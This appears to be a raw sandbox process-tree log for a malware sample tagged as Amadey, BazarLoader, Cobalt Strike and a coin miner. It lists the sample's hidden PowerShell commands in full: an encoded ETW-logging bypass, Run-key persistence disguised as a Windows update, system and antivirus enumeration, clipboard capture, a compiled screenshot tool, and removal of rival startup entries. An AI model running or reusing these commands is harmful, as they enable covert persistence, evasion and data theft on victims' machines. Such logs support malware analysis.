  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4AJwApAC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJABuAHUAbABsACkA
  2⤵
  PID:1612
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1612" "2080" "2028" "2084" "0" "0" "2088" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:3336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2872
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState 2>nul"
    3⤵
    PID:3412
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState
      4⤵
      Modifies registry key
      PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "START|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277452424|5768|1784277452736" /f 2>nul'"
  2⤵
  PID:1620
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d START|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277452424|5768|1784277452736 /f 2>nul"
    3⤵
    PID:3484
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d START
      4⤵
      Modifies registry key
      PID:1300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic os get Caption,Version /format:csv'"
  2⤵
  PID:5620
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5824
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic os get Caption,Version /format:csv"
    3⤵
    PID:5212
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption,Version /format:csv
      4⤵
      PID:1236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic cpu get Name /format:csv'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4080
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic cpu get Name /format:csv"
    3⤵
    PID:4336
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get Name /format:csv
      4⤵
      PID:5844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic path win32_VideoController get Name /format:csv'"
  2⤵
  PID:3188
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic path win32_VideoController get Name /format:csv"
    3⤵
    PID:5668
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get Name /format:csv
      4⤵
      Detects videocard installed
      PID:4556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance Win32_VideoController | ForEach-Object { $_.Name + ': ' + [math]::Round($_.AdapterRAM/1GB,1) + ' GB' }"
  2⤵
  PID:4668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance Win32_BaseBoard | Select-Object Manufacturer,Product,Version | ForEach-Object { $_.Manufacturer + ' ' + $_.Product + ' (' + $_.Version + ')' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance Win32_BIOS | Select-Object Manufacturer,SMBIOSBIOSVersion,ReleaseDate | ForEach-Object { $_.Manufacturer + ' ' + $_.SMBIOSBIOSVersion }"
  2⤵
  PID:5776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime | Select-Object -ExpandProperty TotalHours"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdateCache" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe|1784277456283" /f 2>nul'"
  2⤵
  PID:4548
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateCache /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe|1784277456283 /f 2>nul"
    3⤵
    PID:1404
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateCache /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
      4⤵
      Modifies registry key
      PID:312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width.ToString() + 'x' + [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height.ToString()"
  2⤵
  PID:4016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'taskkill /f /im jusched.exe 2>nul'"
  2⤵
  PID:5724
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "taskkill /f /im jusched.exe 2>nul"
    3⤵
    PID:5848
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im jusched.exe
      4⤵
      Kills process with taskkill
      PID:1044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'taskkill /f /im jucheck.exe 2>nul'"
  2⤵
  PID:2968
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "taskkill /f /im jucheck.exe 2>nul"
    3⤵
    PID:1912
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im jucheck.exe
      4⤵
      Kills process with taskkill
      PID:3996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'csc /nologo /out:"C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.exe" /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe "C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.cs"'"
  2⤵
  PID:3424
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "csc /nologo /out:C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.exe /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.cs"
    3⤵
    PID:3164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c '"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /out:"C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.exe" /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe "C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.cs"'"
  2⤵
  PID:1460
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nologo /out:C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.exe /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.cs"
    3⤵
    PID:3900
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nologo /out:C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.exe /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.cs
      4⤵
      PID:4556
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7D68.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC72664C0CB5D5405C85BAA7ED47AF1D24.TMP"
        5⤵
        
        PID:6104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdate" /f 2>nul'"
  2⤵
  PID:3576
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdate /f 2>nul"
    3⤵
    PID:5080
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdate /f
      4⤵
      Modifies registry key
      PID:3540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f 2>nul'"
  2⤵
  PID:1304
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f 2>nul"
    3⤵
    PID:4380
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f
      4⤵
      Modifies registry key
      PID:4976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "OneDriveUpdater" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5256
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /f 2>nul"
    3⤵
    PID:3768
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /f
      4⤵
      Modifies registry key
      PID:3464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c '"C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.exe" "C:\Users\Admin\AppData\Local\Temp\\scr_1784277456970.jpg"'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5608
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.exe C:\Users\Admin\AppData\Local\Temp\\scr_1784277456970.jpg"
    3⤵
    PID:3196
  - - C:\Users\Admin\AppData\Local\Temp\s_1784277456970.exe
      C:\Users\Admin\AppData\Local\Temp\\s_1784277456970.exe C:\Users\Admin\AppData\Local\Temp\\scr_1784277456970.jpg
      4⤵
      Executes dropped EXE
      PID:5028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveUpdater" /f 2>nul'"
  2⤵
  PID:4836
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDriveUpdater /f 2>nul"
    3⤵
    PID:1112
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDriveUpdater /f
      4⤵
      Modifies registry key
      PID:4200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command Get-Clipboard
  2⤵
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "jusched" /f 2>nul'"
  2⤵
  PID:5864
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jusched /f 2>nul"
    3⤵
    PID:4804
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jusched /f
      4⤵
      Modifies registry key
      PID:908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand RwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEAAKAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFUAbgBpAG4AcwB0AGEAbABsAFwAKgAnACwAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABXAE8AVwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABVAG4AaQBuAHMAdABhAGwAbABcACoAJwAsACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAVQBuAGkAbgBzAHQAYQBsAGwAXAAqACcAKQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAJABfAC4ARABpAHMAcABsAGEAeQBOAGEAbQBlAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAEQAaQBzAHAAbABhAHkATgBhAG0AZQAsAEQAaQBzAHAAbABhAHkAVgBlAHIAcwBpAG8AbgAsAFAAdQBiAGwAaQBzAGgAZQByACwASQBuAHMAdABhAGwAbABEAGEAdABlACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJwB7ADAAfQAgAHwAIAB7ADEAfQAgAHwAIAB7ADIAfQAgAHwAIAB7ADMAfQAnACAALQBmACAAJABfAC4ARABpAHMAcABsAGEAeQBOAGEAbQBlACwAJABfAC4ARABpAHMAcABsAGEAeQBWAGUAcgBzAGkAbwBuACwAJABfAC4AUAB1AGIAbABpAHMAaABlAHIALAAkAF8ALgBJAG4AcwB0AGEAbABsAEQAYQB0AGUAIAB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jusched" /f 2>nul'"
  2⤵
  PID:4996
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jusched /f 2>nul"
    3⤵
    PID:1040
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jusched /f
      4⤵
      Modifies registry key
      PID:1088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "jucheck" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4864
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jucheck /f 2>nul"
    3⤵
    PID:1940
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jucheck /f
      4⤵
      Modifies registry key
      PID:5316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBTAHQAYQByAHQAdQBwAEMAbwBtAG0AYQBuAGQAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAE4AYQBtAGUALABDAG8AbQBtAGEAbgBkACwATABvAGMAYQB0AGkAbwBuACwAVQBzAGUAcgAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJwB7ADAAfQAgAHwAIAB7ADEAfQAgAHwAIAB7ADIAfQAgAHwAIAB7ADMAfQAnACAALQBmACAAJABfAC4ATgBhAG0AZQAsACQAXwAuAEMAbwBtAG0AYQBuAGQALAAkAF8ALgBMAG8AYwBhAHQAaQBvAG4ALAAkAF8ALgBVAHMAZQByACAAfQA=
  2⤵
  PID:3216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jucheck" /f 2>nul'"
  2⤵
  PID:4292
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jucheck /f 2>nul"
    3⤵
    PID:6060
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jucheck /f
      4⤵
      Modifies registry key
      PID:4840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'tasklist /V /FO CSV'"
  2⤵
  PID:1948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "tasklist /V /FO CSV"
    3⤵
    PID:972
  - - C:\Windows\system32\tasklist.exe
      tasklist /V /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "svchost" /f 2>nul'"
  2⤵
  PID:1904
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v svchost /f 2>nul"
    3⤵
    PID:3088
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v svchost /f
      4⤵
      Modifies registry key
      PID:2248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3936
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /f 2>nul"
    3⤵
    PID:6116
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /f
      4⤵
      Modifies registry key
      PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchProtocolHost" /f 2>nul'"
  2⤵
  PID:5196
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocolHost /f 2>nul"
    3⤵
    PID:4724
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocolHost /f
      4⤵
      Modifies registry key
      PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SearchProtocolHost" /f 2>nul'"
  2⤵
  PID:2328
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SearchProtocolHost /f 2>nul"
    3⤵
    PID:5512
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SearchProtocolHost /f
      4⤵
      Modifies registry key
      PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "RuntimeBroker" /f 2>nul'"
  2⤵
  PID:4440
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /f 2>nul"
    3⤵
    PID:4412
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /f
      4⤵
      Modifies registry key
      PID:5276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "RuntimeBroker" /f 2>nul'"
  2⤵
  PID:908
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /f 2>nul"
    3⤵
    PID:4888
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /f
      4⤵
      Modifies registry key
      PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SecurityHealthSvc" /f 2>nul'"
  2⤵
  PID:5764
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /f 2>nul"
    3⤵
    PID:1120
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /f
      4⤵
      Modifies registry key
      PID:5804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealthSvc" /f 2>nul'"
  2⤵
  PID:1300
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthSvc /f 2>nul"
    3⤵
    PID:3268
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthSvc /f
      4⤵
      Modifies registry key
      PID:1512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WinUpdateAgent" /f 2>nul'"
  2⤵
  PID:4504
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WinUpdateAgent /f 2>nul"
    3⤵
    PID:4852
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WinUpdateAgent /f
      4⤵
      Modifies registry key
      PID:700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateAgent" /f 2>nul'"
  2⤵
  PID:3812
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdateAgent /f 2>nul"
    3⤵
    PID:4840
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdateAgent /f
      4⤵
      Modifies registry key
      PID:5652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
